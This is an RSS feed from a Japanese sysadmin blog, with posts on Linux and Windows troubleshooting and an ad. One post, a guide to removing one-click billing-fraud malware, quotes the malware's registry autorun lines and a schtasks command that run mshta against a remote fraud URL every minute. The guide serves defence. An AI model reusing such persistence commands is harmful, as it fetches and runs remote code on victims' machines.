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    <title>鯖管Changelog。--アメブロ支店</title>  
    <link>http://ameblo.jp/marusa99/</link>  
    <description>主に地方のサーバ管理者の日常と管理記録、トラブルサポート事例、趣味のPC自作に関する情報、ほか雑談などを、気の向いたときに好きなように、勝手気ままに書きなぐるブログです。 主に会社のRedhatLinux9やRHEL/CentOS、その他Solarisなど管理しています。</description>  
    <language>ja</language>  
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    <item> 
      <title>CentOS-AnnounceMLとRedHatErattaの一覧ページをメモっておく</title>  
      <description> <![CDATA[ CentOSなどでyum updateなどを実行した際にKernelのアップデートがあった場合、その内容は非常に気になる。CentOS-AnnounceメーリングリストやRedhatのErrata情報を参照すればその内容を知ることができるのだが、意外にCentos.orgやredhat.comなどWebページ上からは情報にたどりつくのが難しい。<br /><br />ということで、それらの公式情報が一覧になっているページを探しておいたので自分用にメモっておく<br /><br />CentOS-Announce ML アーカイブ（月別一覧への見出しページ）<br /><font size="4">The CentOS-announce Archives</font><br /><a href="http://lists.centos.org/pipermail/centos-announce/" target="_blank">http://lists.centos.org/pipermail/centos-announce/</a><br />エラッタやセキュリティフィックス、バグフィクス、リリースアナウンスなど公式なアナウンス情報が一覧できる。該当するRHELのエラッタ情報へのリンクもアナウンス中には入っているので1件ずつ見るならここだけでもOK<br /><br />RedHat製品別Errata一覧見出し<br /><font size="4">Errata</font><br /><a href="http://lists.centos.org/pipermail/centos-announce/" target="_blank">https://rhn.redhat.com/errata/</a><br />RedHatのRHELだけでなく全製品のエラッタを一覧できる。<br />全てのエラッタを見渡したいときには便利。
]]> </description>  
      <link>http://ameblo.jp/marusa99/entry-11153957298.html</link>  
      <pubDate>Fri, 03 Feb 2012 12:29:06 +0900</pubDate> 
    </item>  
    <item> 
      <title>USB接続SoundBlaster DigitalMusic Pro HDのファームアップ</title>  
      <description><![CDATA[<p>
 何ヶ月か前にCreativeのSound Blaster Digital Music ProHD (型名：SB-DM-PHD)と言うのを買ってUSB2.0接続で24bit/96KHz出力で音楽を聴いているんですが、どうもiTunesで音楽再生するとブチブチとジッターというかデータが一部ドロップアウトしてるようなノイズが聞こえてしまって困ってたんですよ。購入当初はそんなノイズは聞こえなかったのでてっきり自分のマシン環境のせいだと思って半ばあきらめてましたが、たまたまCREATIVEのサイトを確認したら新しいファームウェアが出ていたので更新してみたところ、ばっちり問題解消しました。いままで24bit/96KHzで出力すると特にひどく「ブチッ」っとノイズが不規則に聞こえていたのですが、まったくノイズが乗らなくなりました。ようやくS/N比114dBが有効に生きる様になりました。<br /><br /><div class="coneclick"><a href="http://www.coneco.net/PriceList.asp?COM_ID=1100610289"><img src="http://img.coneco.net/co/1100610289.gif" border="0" alt="USB Sound Blaster Digital Music Premium HD　(SB-DM-PHD)"></a><p><a href="http://www.coneco.net/PriceList.asp?COM_ID=1100610289">USB Sound Blaster Digital Music Premium HD　(SB-DM-PHD)</a></p></div><br />更新したファームウェアのバージョン：1.0.110519 (2011/10/27公開)<br />更新前は1.0.100630…だったかな。<br /><br />製品の仕様は<a href="http://jp.creative.com/products/product.asp?category=1&subcategory=875&product=19829&nav=1&listby=usage" target="_blank">コチラ</a>から<br />ファームウェア等の入手は<a href="http://jp.creative.com/support/downloads/download.asp?MainCategory=1&nRegionFK=&nCountryFK=&nLanguageFK=&sOSName=Windows+Vista+32-bit&region=2&Product_Name=Sound+Blaster+Digital+Music+Premium+HD&Product_ID=19829&modelnumber=&driverlang=1041&OS=26&driverty" target="_blank">コチラ</a>から<br /><br />USB接続で24bit/96KHz対応。アナログ入出力は2ch。<br />マイク入力/ヘッドホン出力、光デジタル入出力あり。<br />アナログライン入力はドライバ側の切り替えでPHONOイコライザ対応。<br /><br />2CH特化ならかなり至れる尽くせりなデバイスです、これ。
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-11070864002.html</link>  
      <pubDate>Sun, 06 Nov 2011 21:13:11 +0900</pubDate> 
    </item>  
    <item>
      <title><![CDATA[PR: 賃貸探すなら【キャリルーノ】]]></title>
      <link>http://rss.rssad.jp/rss/ad/T3rEnpCG1gKJ/8A.q0eFLXQ4m?type=2&amp;ent=d48a127ee476c001c7882224265ec525</link>
      <description><![CDATA[<table cellspacing="0" cellpadding="0"><tbody><tr><td align="left" valign="center"><a href="http://rss.rssad.jp/rss/ad/T3rEnpCG1gKJ/8A.q0eFLXQ4m?type=2" target="_blank"><img alt="" style="border: 0;" border="0" src="http://rss.rssad.jp/rss/img/T3rEnpCG1gKJ/8A.q0eFLXQ4m?type=3&ent=d48a127ee476c001c7882224265ec525"/></a></td></tr><tr><td align="left" valign="top" > 心理学や風水など、新しい探し方で あなたにピッタリなお部屋を探そう </td></tr></tbody></table><div style="font-size:10px;"><span style="padding-top:5px;"><br style="display:none"/><a href="http://www.rssad.jp/trendmatch/trendmatch.html">Ads by Trend Match</a></span><br/></div>]]></description>
      <pubDate>Sun, 06 Nov 2011 21:13:11 +0900</pubDate>
    </item>
    <item> 
      <title>System Event Notification Serviceサービスに接続できませんでした</title>  
      <description><![CDATA[<p>
 >Windows>Winsock<br />>System Event Notification Service<br /><br />ログオン画面から一般ユーザーでログオンするためにユーザー名、パスワードを入力すると、数分待たされた挙句に「System Event Notification Service　サービスに接続できませんでした。」と表示されてログオンできない。という現象について。検索してみると意外に情報が少ないので対処方法をメモします。<br /><br />この状態になると、セーフモードで起動して管理者ユーザーでログオンしてもイベントビューアでイベントを見ることができません。また「セーフモードとネットワーク」モードで起動してもネットワーク（TCP/IP）に接続できずブラウザでウェブページを見ることもWindowsファイル共有にアクセスすることもできなくなります。DHCP設定にしていても、正常にIPアドレスを取得出来なかったりします。<br /><br />[参考]<br />＞＞「<a href="http://ameblo.jp/kazeno-tayori/entry-10351015310.html" target="_blank">System Event Notification Serviceのエラーが出たらこれで解決。</a>」<br /><br />[対処法]<br />・セーフモードで起動し管理者ユーザー（administratorや管理者権限のあるユーザー）でログオンする。<br />・コマンドプロンプトを起動する<br />　（windows7の場合はスタートメニュー→「プログラムとファイルの検索」ボックスに cmd と入力してメニューに表示されるcmd.exeをクリックする）<br />・以下のコマンドを入力して実行する<br /> netsh winsock reset<br />・Windowsを再起動する<br /><br />これで正常にログオンできるようになりイベントビュアでイベントも見られるはずです。<br />「Winsockカタログ」の不整合を解消するため、内容を初期化する操作です。<br /><br />またWindowsには普通にログオンできるのに、ブラウザでウェブページが見られず、ネットワーク設定をいくら直してもネットに接続できない、という場合も netsh winsock reset で解決する場合があります。<br />「IPアドレスを自動的に取得する」（DHCPを使用する）設定にしているのにIPアドレスを取得できず他の設定やケーブル接続、ルータの設定を確認しても問題ない場合もこれが原因のことがあります。<br /><br />何年も前に一度客先のWindowsXPでこの現象が起きてnetsh winsock resetで回復できたことがありましたが、あまりに前のことで忘れていました。<br /><br />Windowsでどうやってもネットワークに接続できない場合にはお試しください。<br /><br />[参考]<br /><a href="http://support.microsoft.com/kb/936211/ja#LetMeFixItMyselfAlways" target="_blank">Internet Explorer におけるネットワーク接続の問題のトラブルシューティング方法</a><br />http://support.microsoft.com/kb/936211/ja#LetMeFixItMyselfAlways
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-11039564924.html</link>  
      <pubDate>Thu, 06 Oct 2011 09:59:41 +0900</pubDate> 
    </item>  
    <item> 
      <title>俺としたことが単純な罠に引っかかった</title>  
      <description><![CDATA[<p>
 うかつなことに、いわゆるワンクリで無料のアレな画像が見られるフリをしてクリックさせ、次回再起動時からひたすらデスクトップに「アダルト動画サービスを利用されました。料金のお支払期限は○○です」というアレなポップアップを出し続ける、あのウザイやつに引っかかりましたですよ、ええ。<br /><br />必ず同じことで困っている方がいらっしゃると思いますので以下に対処方法を記載します。<br />また下記のブログ記事を大変参考にさせていただきました。<br />「<a href="http://gekkeijunoha.blog11.fc2.com/blog-entry-8.html" target="_blank"><font color="#FF6600">mshta.exeによるワンクリック不正請求詐欺サイト</font></a>」<br />大変わかりやすく書いてありますので、私の下記の文章を読むより先にお読みになったほうがいいかもしれません。<br /><br />ワタクシほどの猛者になりますと(笑）、その表示が出るようになるまでに一度もメールアドレスや名前やクレジットカード番号なんかは入力していないことは確認済みなので、ポップアップを下手げにクリックしてしまわなければ問題ないのはとっくに了解済み。だが、とにかく消しても消しても毎分起動するので邪魔で仕方がない。<br /><br />抜かりのないことに、裏でmshta.exeが起動したこともわかっているので早速駆除を始めることにする。<br /><br />１．レジストリの自動起動にmshtaを呼んでいるものがないか確認。<br />　RegeditでHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runのエントリを確認してそれっぽいエントリがないか調べる…のも正解だけど、ここは <a href="http://free.antivirus.com/hijackthis/" target="_blank"><font color="#FF6600">HiJackThis</font></a>を使って O4 のエントリを見るのが楽。<br />　（解説は、この分野の権威<a href="http://www.higaitaisaku.com/hijackthis.html" target="_blank"><font color="#FF6600">「アダ被」さん</font></a>からどうぞ）<br /><br />　で、案の定みつかりました。（今回はHKLM配下じゃなくてHKCU配下でした）<br /><br />O4 - HKCU\..\Run: [Quicktime] C:\Windows\system32\mshta.exe http://video-abcd.info/User/bill7<br />O4 - HKCU\..\Run: [Quicktime-3] schtasks /create /TN Quicktime /tr  "C:\Windows\system32\mshta  http://video-abcd.info/User/bill7"  /F /sc minute /mo 1   <br /><br />　こしゃくなことに[Quicktime-3]なんて名前を偽装していますが、引数にモロなURLが載ってるので明らかにこれです。schtasksに /sc minute と指定しているので毎分実行するというスケジュール設定になっています。<br /><br />　このエントリを削除します。<br /><br />　おや？２番目のをよく見ると、schtasksでなにやらスケジュール設定を作ってますね、これ。ということで以下も実施です。<br /><br />　２. Windows Taskを確認する<br /><br />　\Windows\System32\Tasks フォルダを開きます。<br />　名前だけではわかりにくいのですが、ファイルの更新日付を見て、ちょうどワンクリに引っかかったらしき日付のファイルが存在していないか調べます。いきなり削除すると間違っていたときに危険ですので、一時的にTasksフォルダから他の場所（たとえばデスクトップ）にドラッグして移動してみます。これで２-３分待ってみて表示が出なくなればそれがビンゴです。<br />　<br />　今回のやつはやはりQuicktimeという名前で存在していました。<br /><br />　念のため中身を wordpad.exeで見てみるとまちがいなくこれです。<br />　Execタグの中に mshtaとURLが記載されていました。<br /><br />　ということで、この２段構えで駆除完了でした。<br /><br />今後のために、これに引っかかった経路を思い出しながら記載しておきます。<br /><br />1.グーグル画像検索で画像を検索<br />2.無料動画紹介ブログがヒット<br />3.お目当ての画像がクリッカブルボタンになっており「無料動画を再生する」のようなことが書いてある<br />4.クリックすると、ぱっと見どこにも料金っぽいことが書いていないポップアップが起動する。<br />　（これが hta アプリケーション）<br />5.どこをどう見てもただの成人認証画面で「年齢確認」と「規約への同意」を求めるラジオボタンがある。<br />6.それぞれ同意するを選び、最後にでかいボタンを押すと、なにやらスクリプトを実行しているっぽい画面が開いた後「あなたは複数回の意思確認の後サービスの利用に同意しました。利用料のお支払いは…云々」というポップアップが開き、以後定期的に支払い方法や支払い期限なるものを表示するポップアップが表示される。<br /><br />こういう流れでしたね。ちょっと油断してました。皆さんもご注意ください。ちなみにこんな過程で「契約成立」といわれてもまったく契約は無効ですので、あわてず騒がずポップアップの駆除を行ってください。そういえばこの系統だと、NortonもSpybot S&Dも検出してくれなかったですね。<br /><br /><br />
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-11025511780.html</link>  
      <pubDate>Thu, 22 Sep 2011 00:23:44 +0900</pubDate> 
    </item>  
    <item> 
      <title>sshdのログイン時に時間待ちが発生する</title>  
      <description><![CDATA[<p>
 Ubuntu Lucidにインストールしたopenssh-serverに対して、IPアドレスがDHCPな社内PCからssh接続(TeraTermとか)すると、長い時は10秒以上接続に時間がかかる件<br /><br />Debian Etchのsshdの場合はこの時間待ちは発生していない。<br /><br />このsshやtelnet時に時間がかかる問題というのは昔からある現象(ある意味定番中の定番の現象)で、基本的には接続してきたクライアントのIPアドレスをレゾルバで逆引きに言ってタイムアウト待ちしているのが原因なのだが、なにせクライアントはDHCPなので、sshサーバ側の/etc/hostsにあらかじめ記載しておくことができない。<br /><br />というわけで結局 man sshd_config を参照した上で、/etc/ssh/sshd_configの末尾に UseDNS no を追加し、sshdを再起動して対処した。<br /><br />#それでもまだ一呼吸待つ感じがあるのだが、これはマシンのメモリ不足かもしれない。<br /><br />(参考) <br />「sshdのログインが遅いのを改善する」<br />http://d.hatena.ne.jp/emergent/20080417/1208444959<br /><br />もちろん本筋としてはきちんと逆引き出来るようにしてあげるべきではあります。
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-11015495339.html</link>  
      <pubDate>Mon, 12 Sep 2011 10:45:40 +0900</pubDate> 
    </item>  
    <item> 
      <title>Linux Ubuntu Lucidで不可思議なログ</title>  
      <description><![CDATA[<p>
 なんだかこんなログを延々と吐き続けているわけですよ<br /><br />Jul 28 19:58:06 hostname kernel: [  863.160031] EDAC MC0: CE page 0x374c0, offset 0x0, grain 4096, syndrome 0xf4, row 5, channel 0, label "": i82875p CE<br />Jul 28 19:58:07 hostname kernel: [  864.160029] EDAC MC0: CE page 0x374c0, offset 0x0, grain 4096, syndrome 0xf4, row 5, channel 0, label "": i82875p CE<br />Jul 28 19:58:08 hostname kernel: [  865.160029] EDAC MC0: CE page 0x36c8f, offset 0x0, grain 4096, syndrome 0xf4, row 5, channel 0, label "": i82875p CE<br /><br />なんだろうなあ、と思って調べてみたらEDAC="ErrorDetection and Correction"だそうで、ECCメモリーのエラー検知＆訂正ログだそうだ。<br /><br />普通にメモリ化けを訂正してて普通に動き続けてたから気にしていなかった。<br /><br />メモリ交換しないといかんですね。<br /><br />→その後実際にDIMMを確認したら3枚差してるうちの1枚に「パスコンが2個ほど欠けてる」奴があった。それを外したらエラーが止まった。<br />
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-10968050967.html</link>  
      <pubDate>Thu, 28 Jul 2011 19:58:42 +0900</pubDate> 
    </item>  
    <item> 
      <title>Ubuntu Lucid以降で、Evinceで「Fontが埋まっていないPDF」が文字化けする件</title>  
      <description><![CDATA[<p>
 Ubuntu > Lucid , Natty > evince<br /><br />Ubuntu Hardyでも経験はしたのだが、PDF内にフォントを内蔵していないPDFをUbuntuの文書ビュア(evince)で表示すると、日本語部分がトーフ（□）になってしまう。<br /><br />具体的には、<a href="http://www.orca.med.or.jp/receipt/outline/update/improvement/pdf/PD-460-04-2011-07-27.pdf" target="_blank">こういうPDF</a>がダメ<br /><br />Hardyの頃は poppler-data パッケージをインストールしてやれば解消できたのだが、Lucidではだめ。<br /><br />https://wiki.ubuntulinux.jp/JapaneseLocalizedDerivative/LaTeXForJapanese<br />↑ここにEvinceの文字化け対策 という項目があり、実際にLucidでも文字化けが解消したという情報もあるが、ダメ<br /><br />最終的にはこちらの情報が該当した。<br />「NattyにおけるEvinceの問題」<br /><a href="https://wiki.ubuntulinux.jp/Develop/Natty/Evince" target="_blank">https://wiki.ubuntulinux.jp/Develop/Natty/Evince</a><br /><br />原因は, /etc/fonts/conf.d/69-language-selector-ja-jp.confで表示に使用するフォントの選択を行っているのだが、これが正常に機能しておらず、フォントリストの先頭の"DevaVu(非日本語フォント)"が選択される結果、日本語部分がトーフに化ける、というもの。<br /><br />http://web.archiveorange.com/archive/v/F78Lpv5TRmtNqrrB0eyo<br />↑こちらを見るとSRUとして申請をトライしてみるということなのですが、Lucidまで降りてくるかどうかは微妙なので自分で直してしまうのを推奨します。<br /><br />以下パッチ<br /><pre><br />----<br />$ diff -u conf.avail/69-language-selector-ja-jp.conf conf.d/69-language-selector-ja-jp.conf<br />--- conf.avail/69-language-selector-ja-jp.conf	2011-04-13 22:48:26.093985086 +0900<br />+++ conf.d/69-language-selector-ja-jp.conf	2011-04-13 23:00:18.349516971 +0900<br />@@ -10,7 +10,6 @@<br />             &lt;string&gt;serif&lt;/string&gt;<br />         &lt;/test&gt;<br />         &lt;edit name=&quot;family&quot; mode=&quot;prepend&quot; binding=&quot;strong&quot;&gt;<br />-            &lt;string&gt;DejaVu Serif&lt;/string&gt;<br />             &lt;string&gt;Takao P明朝&lt;/string&gt;<br />             &lt;string&gt;IPA P明朝&lt;/string&gt;<br />             &lt;string&gt;IPA モナー P明朝&lt;/string&gt;<br />@@ -28,7 +27,6 @@<br />             &lt;string&gt;sans-serif&lt;/string&gt;<br />         &lt;/test&gt;<br />         &lt;edit name=&quot;family&quot; mode=&quot;prepend&quot; binding=&quot;strong&quot;&gt;<br />-            &lt;string&gt;DejaVu Sans&lt;/string&gt;<br />             &lt;string&gt;Takao Pゴシック&lt;/string&gt;<br />             &lt;string&gt;IPA Pゴシック&lt;/string&gt;<br />             &lt;string&gt;IPA モナー Pゴシック&lt;/string&gt;<br />----<br /></pre><br />2箇所だけなので手patchしてもよし。
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-10966978230.html</link>  
      <pubDate>Wed, 27 Jul 2011 19:23:17 +0900</pubDate> 
    </item>  
    <item> 
      <title>[ubuntu Lucid] dpkg / apt-get実行時に高確率でハングアップする件</title>  
      <description><![CDATA[<p>
 仕事でUbuntu Lucidマシンをセットアップしていていろいろパッケージをインストールしているうちにやたらと高い確率で、パッケージインストールがハングアップするようになった。<br /><br />aptitudeやapt-getでパッケージを手元にダウンロードし終わって<br />パッケージの展開に入るタイミングでそのままaptitudeがハングアップする。<br /><br />aptitudeにかぎらず、apt-getやdpkg -iでのパッケージインストール時にも同じ現象が発生する。<br />ためしに /var/cache/apt/archive内のdebファイルを dpkg -i してみても同じところでハングアップする。<br /><br /><br />ハングアップした場合、CTRL+Cでも終了できず kill -KILLする羽目になる。<br /><br />こうなると、/var/lib/dpkg/lockファイルができてしまって、マシンを再起動するまでapt-getやdpkg -iが実行できない。<br />（無理やり sudo rm /var/lib/dpkg/lockを削除してしまえば実行はできる）<br />そのままapt-getしてもパッケージに矛盾があるといわれてapt-get updateもできないので<br />dpkg --configure -a (パッケージ名)<br />dpkg -P --force-remove-reinstreq (パッケージ名)<br />を実行して修復する。<br /><br />どうも自分の環境だけではないようなので、調べてみると ubuntu のBugTrackerにヒットした<br /><br />□ <a href="https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/624229" target="_blank">dpkg hangs while unpacking replacement<br />https://bugs.launchpad.net/ubuntu/+source/dpkg/+bug/624229</a><br /><br />□<a href="https://bugzilla.kernel.org/show_bug.cgi?id=18632" target="_blank">Bug 18632 - "INFO: task" dpkg "blocked for more than 120 seconds.<br />https://bugzilla.kernel.org/show_bug.cgi?id=18632</a><br /><br />　現象はドンピシャ。同じ現象を経験している人に共通するのは何らかのUSB接続ストレージを<br />　接続しているという点。<br /><br />　ためしに、毎回apt-get installがハングアップしていたマシンからUSBメモリを抜いてやって<br />　念のため再起動してから、apt-get install (目的のパッケージ名)してみたらすんなりと<br />　インストールが完了する。<br /><br />　・・・マジかよ。<br />
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-10897896528.html</link>  
      <pubDate>Fri, 20 May 2011 22:42:36 +0900</pubDate> 
    </item>  
    <item> 
      <title>[KVM] ubuntu仮想マシンのグラフィックコンソール上でキーボードから'_'が入力できない</title>  
      <description><![CDATA[<p>
 Linuxベースの仮想化プラットフォーム KVM (qemu-kvm/libvirt)上にインストールした ubuntu 10.04 (Lucid)で、キーボードから '_'(アンダーバー/アンダースコア)が入力できずに困っていましたが、仮想マシンの構成ファイル (/etc/libvirt/qemu/***.xml)内の設定を一部変更することで入力可能になりました。<br /><br />$ sudo vi /etc/libvirt/qemu/lucid.xml  (仮想マシン名.xml)<br /><br />--変更前--<br />&lt;graphics type='vnc' port='-1' autoport='yes'&gt;<br />--変更後--<br />&lt;graphics type='vnc' port='-1' autoport='yes'<strong><font color="#669900"> keymap='ja'</font></strong>/&gt;<br /><br />※ keymap='ja' を追加する。<br />構成ファイルを変更したら libvirt-binを再起動する<br /><br />$ sudo /etc/init.d/libvirt-bin restart<br /><br />Ubuntu 10.10でも同じ現象が発生するようですが、同じ対処で直るそうです。
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-10894289709.html</link>  
      <pubDate>Tue, 17 May 2011 11:12:09 +0900</pubDate> 
    </item>  
    <item> 
      <title>Windows Live Mail 2011 が起動できない</title>  
      <description><![CDATA[<p>
 Windows7 > Windows Live Mail 2011 <br />　　　　 > Windows Update 実施後<br />　　　　 > msvcrt.dll<br /><br />会社のノートPC（Windows 7 Enterprise 32bit）で2011年4月にWindows Updateを適用したところ、元々インストールしていたWindows Live Mail 2010が Windows Live Mail 2011 (Windows Live Essentials 2011)にアップデートされたうえ、そのLive Mail 2011を起動しようとすると、「Windows Live Mailは動作を停止しました」とダイアログが出て起動できないまま終了してしまうという現象が発生しました。<br /><br />イベントビューアで調べてみるとどうもmsvcrt.dll（VisualC++のランタイム）でエラーが出ているようなのですがよくわかりません。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/11/marusa99/f4/90/p/o0800029811165149694.png"><img src="http://stat.ameba.jp/user_images/20110414/11/marusa99/f4/90/p/t02200082_0800029811165149694.png"  alt="$鯖管Changelog。--アメブロ支店-wlmail-appLog" border="0" /></a></div><br /><br />Windows Live Mail 2011をインストールしなおすと良いというような情報もあったのですが、ためしにMSのWindows Live Essentials 配布ページからインストーラをダウンロードして起動してみると今度は延々待ち続けた上に「インターネット接続がないのでセットアップが起動できない」旨メッセージが出て再インストールもできず。<br /><br />さらに調べると、<br /><br /><a href="http://support.microsoft.com/kb/2505524/ja" target="_blank">KB2454826 のインストール後に Windows Live Mail が応答を停止するか、起動に失敗する</a><br /><br />というマイクロソフトのサポート情報が出ていることがわかりました。<br /><br />発生条件は以下の3つ<br /><br />1）Intel 統合グラフィック ドライバー Igdkmd32.sys (32 ビット)/Igdkmd64.sys (64 ビット) バージョン 8.15.10.2104 から 8.15.10.2141 を所有している<br />　　→Intel HD Graphicsドライバーのバージョンですね。<br />　　　自分はモロに該当しています。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/10/marusa99/9f/51/p/o0642057311165078260.png"><img src="http://stat.ameba.jp/user_images/20110414/10/marusa99/9f/51/p/t02200196_0642057311165078260.png"  alt="$鯖管Changelog。--アメブロ支店-IntelHDGraphics Driver" border="0" /></a></div><br /><br />2）Windows Update KB2454826 がコンピューターにインストールされている<br />　　→うーん、これは非該当<br /><br />3）Windows Live Mail バージョン 15.4 以降を使用している<br /><br />　　→これは該当<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/10/marusa99/9f/a8/p/o0641033911165089772.png"><img src="http://stat.ameba.jp/user_images/20110414/10/marusa99/9f/a8/p/t02200116_0641033911165089772.png"  alt="$鯖管Changelog。--アメブロ支店-Windows Live Mail 15.4" border="0" /></a></div><br /><br />2）については、MS VC++ Runtimeの修正であるKB2467175ならインストールされています。<br /><br />ということで条件的には少し微妙ですが、対処をしてみます。<br /><br />先ほどのマイクロソフトのサポート情報ページでは次の二つの対処が説明されています。<br /><br />1. Intelのサイトから最新のIntel統合グラフィクスドライバを入手してバージョンを更新する<br /><br />または<br /><br />2.同サポート情報ページ下部にある「FixIt!」をクリックして問題を修正するか<br />　手動で同様の操作（レジストリの追加/修復を行う）<br /><br />だそうです。<br /><br />まずは簡単に FixIt!をやってみましょうか。クリックするとファイルがダウンロードされるので、実行します。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/10/marusa99/83/1a/p/o0503041011165096744.png"><img src="http://stat.ameba.jp/user_images/20110414/10/marusa99/83/1a/p/t02200179_0503041011165096744.png"  alt="鯖管Changelog。--アメブロ支店-Fix it 50604" border="0" /></a></div><br /><br />すると復元ポイントの作成のあと処理が進んでいきますので完了を待ちます。<br /><br />さっそく今まで起動できなかったWindows Live Mail 2011を起動してみると…今度はエラーもなく正常に起動できました。直ったようです。<br /><br />ということで、<br /><br /><strong>「Windows Live Mail 2011がエラーで起動できない場合は、マイクロソフトサポート情報ページ <a href="http://support.microsoft.com/kb/2505524/ja" target="_blank">KB2454826 のインストール後に Windows Live Mail が応答を停止するか、起動に失敗する</a>から Fix Itボタンをクリックして修正プログラムをダウンロードし実行すると起動できるようになる。」</strong><br /><br />ということでよさそうです。<br /><br />念のため気持ちが悪いのでIntel統合グラフィックスドライバーもインストールして更新しておきます。<br /><br />最新のバージョンを自分で探すのはかなり大変なので、InternetExplorerを使える方は <a href="http://www.intel.com/p/ja_JP/support/detect/" target="_blank">こちらのページ</a>で自動検出できます。<br /><br />途中で何度か「インストールしていいか」と聞かれますが許可してあげます。<br /><br />しばらくして利用可能な最新のドライバがあれば以下のように表示されます。<br />（すべてを表示）ボタンをクリック。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/10/marusa99/0a/c4/p/o0800046411165112251.png"><img src="http://stat.ameba.jp/user_images/20110414/10/marusa99/0a/c4/p/t02200128_0800046411165112251.png"  alt="$鯖管Changelog。--アメブロ支店-Intel Driver Auto Detect" border="0" /></a></div><br />見つかったドライバのバージョンは8.15.10.2321で現在のものよりあたらしく、また問題のバージョンとは異なっていますからこれをダウンロードしてインストールします。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/10/marusa99/34/60/p/o0510040211165116496.png"><img src="http://stat.ameba.jp/user_images/20110414/10/marusa99/34/60/p/t02200173_0510040211165116496.png"  alt="$鯖管Changelog。--アメブロ支店-IntelHDGraphics" border="0" /></a></div><br />バージョンが上がりました。<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/11/marusa99/51/ba/p/o0639057311165127506.png"><img src="http://stat.ameba.jp/user_images/20110414/11/marusa99/51/ba/p/t02200197_0639057311165127506.png"  alt="$鯖管Changelog。--アメブロ支店-IntelHDGraphics 8.15.10.2321" border="0" /></a></div><br />念のためもう一度Windows Live Mail 2011を起動してみると…<br /><div align="center"><a href="http://stat.ameba.jp/user_images/20110414/11/marusa99/b5/0a/p/o0513022511165133531.png"><img src="http://stat.ameba.jp/user_images/20110414/11/marusa99/b5/0a/p/t02200096_0513022511165133531.png"  alt="鯖管Changelog。--アメブロ支店-LiveMail2011 Resumed" border="0" /></a></div><br />問題なく起動できました。<br /><br />※<a href="http://pcclick.seesaa.net/article/190938944.html" target="_blank">こちらの情報</a>が役に立ちました。ありがとうございます。
 
</p>]]></description>  
      <link>http://ameblo.jp/marusa99/entry-10861195841.html</link>  
      <pubDate>Thu, 14 Apr 2011 11:05:28 +0900</pubDate> 
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